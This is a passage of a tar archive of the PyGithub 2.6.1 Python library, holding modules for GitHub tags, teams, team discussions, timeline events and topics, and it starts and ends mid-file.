PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict, Tuple import github.GithubObject import github.NamedUser # TODO remove unused class StatsPunchCard(github.GithubObject.NonCompletableGithubObject): """ This class represents StatsPunchCards. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-the-hourly-commit-count-for-each-day The OpenAPI schema can be found at - /components/schemas/code-frequency-stat """ _dict: Dict[Tuple[int, int], int] def _initAttributes(self) -> None: self._dict = {} def get(self, day: int, hour: int) -> int: """ Get a specific element. """ return self._dict[(day, hour)] def _useAttributes(self, attributes: Any) -> None: for day, hour, commits in attributes: self._dict[(day, hour)] = commits ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Tag.py0000644000175100001660000001243214756101563015337 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.Commit from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.Commit import Commit class Tag(NonCompletableGithubObject): """ This class represents Tags. The reference can be found here https://docs.github.com/en/rest/reference/repos#list-repository-tags The OpenAPI schema can be found at - /components/schemas/tag """ def _initAttributes(self) -> None: self._commit: Attribute[Commit] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._tarball_url: Attribute[str] = NotSet self._zipball_url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value, "commit": self._commit.value}) @property def commit(self) -> Commit: return self._commit.value @property def name(self) -> str: return self._name.value @property def node_id(self) -> str: return self._node_id.value @property def tarball_url(self) -> str: return self._tarball_url.value @property def zipball_url(self) -> str: return self._zipball_url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "commit" in attributes: # pragma no branch self._commit = self._makeClassAttribute(github.Commit.Commit, attributes["commit"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "tarball_url" in attributes: # pragma no branch self._tarball_url = self._makeStringAttribute(attributes["tarball_url"]) if "zipball_url" in attributes: # pragma no branch self._zipball_url = self._makeStringAttribute(attributes["zipball_url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Team.py0000644000175100001660000005652514756101563015525 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Jan Orel # # Copyright 2014 Vincent Jacques # # Copyright 2015 Aron Culotta # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2016 mattjmorrison # # Copyright 2018 Isuru Fernando # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 James D'Amato # # Copyright 2018 Maarten Fonville # # Copyright 2018 Manu Hortet # # Copyright 2018 Michał Górny # # Copyright 2018 Steve Kowalik # # Copyright 2018 Tim Boring # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Shibasis Patel # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Adrian Bridgett <58699309+tl-adrian-bridgett@users.noreply.github.com># # Copyright 2020 Andy Grunwald # # Copyright 2020 Gilad Shefer # # Copyright 2020 Steve Kowalik # # Copyright 2020 Tal Machani <12785464+talmachani@users.noreply.github.com> # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2021 秋葉 # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Kevin Grandjean # # Copyright 2023 Mark Amery # # Copyright 2023 Trim21 # # Copyright 2024 Andrii Kezikov # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse from datetime import datetime from typing import TYPE_CHECKING, Any from deprecated import deprecated import github.NamedUser import github.Organization import github.PaginatedList import github.Permissions import github.Repository import github.TeamDiscussion from github import Consts from github.GithubException import UnknownObjectException from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt if TYPE_CHECKING: from github.Membership import Membership from github.NamedUser import NamedUser from github.Organization import Organization from github.PaginatedList import PaginatedList from github.Permissions import Permissions from github.Repository import Repository from github.TeamDiscussion import TeamDiscussion class Team(CompletableGithubObject): """ This class represents Teams. The reference can be found here https://docs.github.com/en/rest/reference/teams The OpenAPI schema can be found at - /components/schemas/nullable-team-simple - /components/schemas/team - /components/schemas/team-full - /components/schemas/team-simple """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._description: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._ldap_dn: Attribute[str] = NotSet self._members_count: Attribute[int] = NotSet self._members_url: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._notification_setting: Attribute[str] = NotSet self._organization: Attribute[Organization] = NotSet self._parent: Attribute[github.Team.Team] = NotSet self._permission: Attribute[str] = NotSet self._permissions: Attribute[Permissions] = NotSet self._privacy: Attribute[str] = NotSet self._repos_count: Attribute[int] = NotSet self._repositories_url: Attribute[str] = NotSet self._slug: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "name": self._name.value}) @property def _identity(self) -> int: return self.id @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def ldap_dn(self) -> str: self._completeIfNotSet(self._ldap_dn) return self._ldap_dn.value @property def members_count(self) -> int: self._completeIfNotSet(self._members_count) return self._members_count.value @property def members_url(self) -> str: self._completeIfNotSet(self._members_url) return self._members_url.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def notification_setting(self) -> str: self._completeIfNotSet(self._notification_setting) return self._notification_setting.value @property def organization(self) -> Organization: self._completeIfNotSet(self._organization) return self._organization.value @property def parent(self) -> Team: self._completeIfNotSet(self._parent) return self._parent.value @property def permission(self) -> str: self._completeIfNotSet(self._permission) return self._permission.value @property def permissions(self) -> Permissions: self._completeIfNotSet(self._permissions) return self._permissions.value @property def privacy(self) -> str: self._completeIfNotSet(self._privacy) return self._privacy.value @property def repos_count(self) -> int: self._completeIfNotSet(self._repos_count) return self._repos_count.value @property def repositories_url(self) -> str: self._completeIfNotSet(self._repositories_url) return self._repositories_url.value @property def slug(self) -> str: self._completeIfNotSet(self._slug) return self._slug.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def add_to_members(self, member: NamedUser) -> None: """ This API call is deprecated. Use `add_membership` instead. https://docs.github.com/en/rest/reference/teams#add-or-update-team-membership-for-a-user-legacy :calls: `PUT /teams/{id}/members/{user} `_ """ assert isinstance(member, github.NamedUser.NamedUser), member headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/members/{member._identity}") def add_membership(self, member: NamedUser, role: Opt[str] = NotSet) -> None: """ :calls: `PUT /teams/{id}/memberships/{user} `_ """ assert isinstance(member, github.NamedUser.NamedUser), member assert role is NotSet or isinstance(role, str), role if role is not NotSet: assert role in ["member", "maintainer"] put_parameters = { "role": role, } else: put_parameters = { "role": "member", } headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/memberships/{member._identity}", input=put_parameters ) def get_team_membership(self, member: str | NamedUser) -> Membership: """ :calls: `GET /orgs/{org}/memberships/team/{team_id}/{username} `_ """ assert isinstance(member, str) or isinstance(member, github.NamedUser.NamedUser), member if isinstance(member, github.NamedUser.NamedUser): member = member._identity else: member = urllib.parse.quote(member) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/memberships/{member}") return github.Membership.Membership(self._requester, headers, data, completed=True) def add_to_repos(self, repo: Repository) -> None: """ :calls: `PUT /teams/{id}/repos/{org}/{repo} `_ """ assert isinstance(repo, github.Repository.Repository), repo headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/repos/{repo._identity}") def get_repo_permission(self, repo: Repository) -> Permissions | None: """ :calls: `GET /teams/{id}/repos/{org}/{repo} `_ """ assert isinstance(repo, github.Repository.Repository) or isinstance(repo, str), repo if isinstance(repo, github.Repository.Repository): repo = repo._identity # type: ignore else: repo = urllib.parse.quote(repo) try: headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/repos/{repo}", headers={"Accept": Consts.teamRepositoryPermissions}, ) return github.Permissions.Permissions(self._requester, headers, data["permissions"]) except UnknownObjectException: return None @deprecated( reason=""" Team.set_repo_permission() is deprecated, use Team.update_team_repository() instead. """ ) def set_repo_permission(self, repo: Repository, permission: str) -> None: """ :calls: `PUT /teams/{id}/repos/{org}/{repo} `_ :param repo: :class:`github.Repository.Repository` :param permission: string :rtype: None """ assert isinstance(repo, github.Repository.Repository), repo put_parameters = { "permission": permission, } headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/repos/{repo._identity}", input=put_parameters ) def update_team_repository(self, repo: Repository, permission: str) -> bool: """ :calls: `PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo} `_ """ assert isinstance(repo, github.Repository.Repository) or isinstance(repo, str), repo assert isinstance(permission, str), permission if isinstance(repo, github.Repository.Repository): repo_url_param = repo._identity else: repo_url_param = urllib.parse.quote(repo) put_parameters = { "permission": permission, } status, _, _ = self._requester.requestJson( "PUT", f"{self.organization.url}/teams/{self.slug}/repos/{repo_url_param}", input=put_parameters, ) return status == 204 def delete(self) -> None: """ :calls: `DELETE /teams/{id} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit( self, name: str, description: Opt[str] = NotSet, permission: Opt[str] = NotSet, privacy: Opt[str] = NotSet, parent_team_id: Opt[int] = NotSet, notification_setting: Opt[str] = NotSet, ) -> None: """ :calls: `PATCH /teams/{id} `_ """ assert isinstance(name, str), name assert description is NotSet or isinstance(description, str), description assert permission is NotSet or isinstance(permission, str), permission assert privacy is NotSet or isinstance(privacy, str), privacy assert parent_team_id is NotSet or isinstance(parent_team_id, (int, type(None))), parent_team_id assert notification_setting in ["notifications_enabled", "notifications_disabled", NotSet], notification_setting post_parameters = NotSet.remove_unset_items( { "name": name, "description": description, "permission": permission, "privacy": privacy, "parent_team_id": parent_team_id, "notification_setting": notification_setting, } ) headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def get_teams(self) -> PaginatedList[Team]: """ :calls: `GET /teams/{id}/teams `_ """ return github.PaginatedList.PaginatedList( github.Team.Team, self._requester, f"{self.url}/teams", None, ) def get_discussions(self) -> PaginatedList[TeamDiscussion]: """ :calls: `GET /teams/{id}/discussions `_ """ return github.PaginatedList.PaginatedList( github.TeamDiscussion.TeamDiscussion, self._requester, f"{self.url}/discussions", None, headers={"Accept": Consts.mediaTypeTeamDiscussionsPreview}, ) def get_members(self, role: Opt[str] = NotSet) -> PaginatedList[NamedUser]: """ :calls: `GET /teams/{id}/members `_ """ assert role is NotSet or isinstance(role, str), role url_parameters: dict[str, Any] = {} if role is not NotSet: assert role in ["member", "maintainer", "all"] url_parameters["role"] = role return github.PaginatedList.PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/members", url_parameters, ) def get_repos(self) -> PaginatedList[Repository]: """ :calls: `GET /teams/{id}/repos `_ """ return github.PaginatedList.PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/repos", None ) def invitations(self) -> PaginatedList[NamedUser]: """ :calls: `GET /teams/{id}/invitations `_ """ return github.PaginatedList.PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/invitations", None, headers={"Accept": Consts.mediaTypeOrganizationInvitationPreview}, ) def has_in_members(self, member: NamedUser) -> bool: """ :calls: `GET /teams/{id}/members/{user} `_ """ assert isinstance(member, github.NamedUser.NamedUser), member status, headers, data = self._requester.requestJson("GET", f"{self.url}/members/{member._identity}") return status == 204 def has_in_repos(self, repo: Repository) -> bool: """ :calls: `GET /teams/{id}/repos/{owner}/{repo} `_ """ assert isinstance(repo, github.Repository.Repository), repo status, headers, data = self._requester.requestJson("GET", f"{self.url}/repos/{repo._identity}") return status == 204 def remove_membership(self, member: NamedUser) -> None: """ :calls: `DELETE /teams/{team_id}/memberships/{username} `_ """ assert isinstance(member, github.NamedUser.NamedUser), member headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/memberships/{member._identity}") def remove_from_members(self, member: NamedUser) -> None: """ This API call is deprecated. Use `remove_membership` instead: https://docs.github.com/en/rest/reference/teams#add-or-update-team-membership-for-a-user-legacy :calls: `DELETE /teams/{id}/members/{user} `_ """ assert isinstance(member, github.NamedUser.NamedUser), member headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/members/{member._identity}") def remove_from_repos(self, repo: Repository) -> None: """ :calls: `DELETE /teams/{id}/repos/{owner}/{repo} `_ """ assert isinstance(repo, github.Repository.Repository), repo headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/repos/{repo._identity}") def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "html_url" in attributes: self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "ldap_dn" in attributes: # pragma no branch self._ldap_dn = self._makeStringAttribute(attributes["ldap_dn"]) if "members_count" in attributes: # pragma no branch self._members_count = self._makeIntAttribute(attributes["members_count"]) if "members_url" in attributes: # pragma no branch self._members_url = self._makeStringAttribute(attributes["members_url"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "notification_setting" in attributes: # pragma no branch self._notification_setting = self._makeStringAttribute(attributes["notification_setting"]) if "organization" in attributes: # pragma no branch self._organization = self._makeClassAttribute(github.Organization.Organization, attributes["organization"]) if "parent" in attributes: # pragma no branch self._parent = self._makeClassAttribute(github.Team.Team, attributes["parent"]) if "permission" in attributes: # pragma no branch self._permission = self._makeStringAttribute(attributes["permission"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeClassAttribute(github.Permissions.Permissions, attributes["permissions"]) if "privacy" in attributes: # pragma no branch self._privacy = self._makeStringAttribute(attributes["privacy"]) if "repos_count" in attributes: # pragma no branch self._repos_count = self._makeIntAttribute(attributes["repos_count"]) if "repositories_url" in attributes: # pragma no branch self._repositories_url = self._makeStringAttribute(attributes["repositories_url"]) if "slug" in attributes: # pragma no branch self._slug = self._makeStringAttribute(attributes["slug"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/TeamDiscussion.py0000644000175100001660000001470714756101563017565 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Simon # # Copyright 2018 Benoit Latinier # # Copyright 2018 Wan Liuyang # # Copyright 2018 Yossarian King # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.DiscussionBase import DiscussionBase from github.GithubObject import Attribute, NotSet class TeamDiscussion(DiscussionBase): """ This class represents TeamDiscussions. The reference can be found here https://docs.github.com/en/rest/reference/teams#discussions """ def _initAttributes(self) -> None: super()._initAttributes() self._body_version: Attribute[str] = NotSet self._comments_count: Attribute[int] = NotSet self._comments_url: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._pinned: Attribute[bool] = NotSet self._private: Attribute[bool] = NotSet self._team_url: Attribute[str] = NotSet @property def body_version(self) -> str: self._completeIfNotSet(self._body_version) return self._body_version.value @property def comments_count(self) -> int: self._completeIfNotSet(self._comments_count) return self._comments_count.value @property def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def pinned(self) -> bool: self._completeIfNotSet(self._pinned) return self._pinned.value @property def private(self) -> bool: self._completeIfNotSet(self._private) return self._private.value @property def team_url(self) -> str: self._completeIfNotSet(self._team_url) return self._team_url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: super()._useAttributes(attributes) if "body_version" in attributes: # pragma no branch self._body_version = self._makeStringAttribute(attributes["body_version"]) if "comments_count" in attributes: # pragma no branch self._comments_count = self._makeIntAttribute(attributes["comments_count"]) if "comments_url" in attributes: # pragma no branch self._comments_url = self._makeStringAttribute(attributes["comments_url"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "pinned" in attributes: # pragma no branch self._pinned = self._makeBoolAttribute(attributes["pinned"]) if "private" in attributes: # pragma no branch self._private = self._makeBoolAttribute(attributes["private"]) if "team_url" in attributes: # pragma no branch self._team_url = self._makeStringAttribute(attributes["team_url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/TimelineEvent.py0000644000175100001660000001655514756101563017406 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Aaron Levine # # Copyright 2017 Mike Miller # # Copyright 2018 Darragh Bailey # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser import github.TimelineEventSource from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class TimelineEvent(NonCompletableGithubObject): """ This class represents IssueTimelineEvents. The reference can be found here https://docs.github.com/en/rest/reference/issues#timeline """ def _initAttributes(self) -> None: self._actor: Attribute[github.NamedUser.NamedUser] = NotSet self._commit_id: Attribute[str] = NotSet self._commit_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._event: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._source: Attribute[github.TimelineEventSource.TimelineEventSource] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def actor(self) -> github.NamedUser.NamedUser: return self._actor.value @property def author_association(self) -> str | None: if self.event == "commented" and self._author_association is not NotSet: return self._author_association.value return None @property def body(self) -> str | None: if self.event == "commented" and self._body is not NotSet: return self._body.value return None @property def commit_id(self) -> str: return self._commit_id.value @property def commit_url(self) -> str: return self._commit_url.value @property def created_at(self) -> datetime: return self._created_at.value @property def event(self) -> str: return self._event.value @property def id(self) -> int: return self._id.value @property def node_id(self) -> str: return self._node_id.value @property def source(self) -> github.TimelineEventSource.TimelineEventSource | None: # only available on `cross-referenced` events. if self.event == "cross-referenced" and self._source is not NotSet: return self._source.value return None @property def url(self) -> str: return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "actor" in attributes: # pragma no branch self._actor = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["actor"]) if "author_association" in attributes: # pragma no branch self._author_association = self._makeStringAttribute(attributes["author_association"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "commit_id" in attributes: # pragma no branch self._commit_id = self._makeStringAttribute(attributes["commit_id"]) if "commit_url" in attributes: # pragma no branch self._commit_url = self._makeStringAttribute(attributes["commit_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "event" in attributes: # pragma no branch self._event = self._makeStringAttribute(attributes["event"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "source" in attributes: # pragma no branch self._source = self._makeClassAttribute( github.TimelineEventSource.TimelineEventSource, attributes["source"] ) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/TimelineEventSource.py0000644000175100001660000001034414756101563020555 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.Issue from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.Issue import Issue class TimelineEventSource(NonCompletableGithubObject): """ This class represents IssueTimelineEventSource. The reference can be found here https://docs.github.com/en/rest/reference/issues#timeline """ def _initAttributes(self) -> None: self._issue: Attribute[Issue] = NotSet self._type: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"type": self._type.value}) @property def issue(self) -> Issue: return self._issue.value @property def type(self) -> str: return self._type.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "issue" in attributes: # pragma no branch self._issue = self._makeClassAttribute(github.Issue.Issue, attributes["issue"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Topic.py0000644000175100001660000002026514756101563015705 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class Topic(NonCompletableGithubObject): """ This class represents topics as used by https://github.com/topics. The object reference can be found here https://docs.github.com/en/rest/reference/search#search-topics The OpenAPI schema can be found at - /components/schemas/topic-search-result-item """ def _initAttributes(self) -> None: self._aliases: Attribute[list[dict[str, Any]]] = NotSet self._created_at: Attribute[datetime] = NotSet self._created_by: Attribute[str] = NotSet self._curated: Attribute[bool] = NotSet self._description: Attribute[str] = NotSet self._display_name: Attribute[str] = NotSet self._featured: Attribute[bool] = NotSet self._logo_url: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._related: Attribute[list[dict[str, Any]]] = NotSet self._released: Attribute[str] = NotSet self._repository_count: Attribute[int] = NotSet self._score: Attribute[float] = NotSet self._short_description: Attribute[str] = NotSet self._text_matches: Attribute[dict[str, Any]] = NotSet self._updated_at: Attribute[datetime] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def 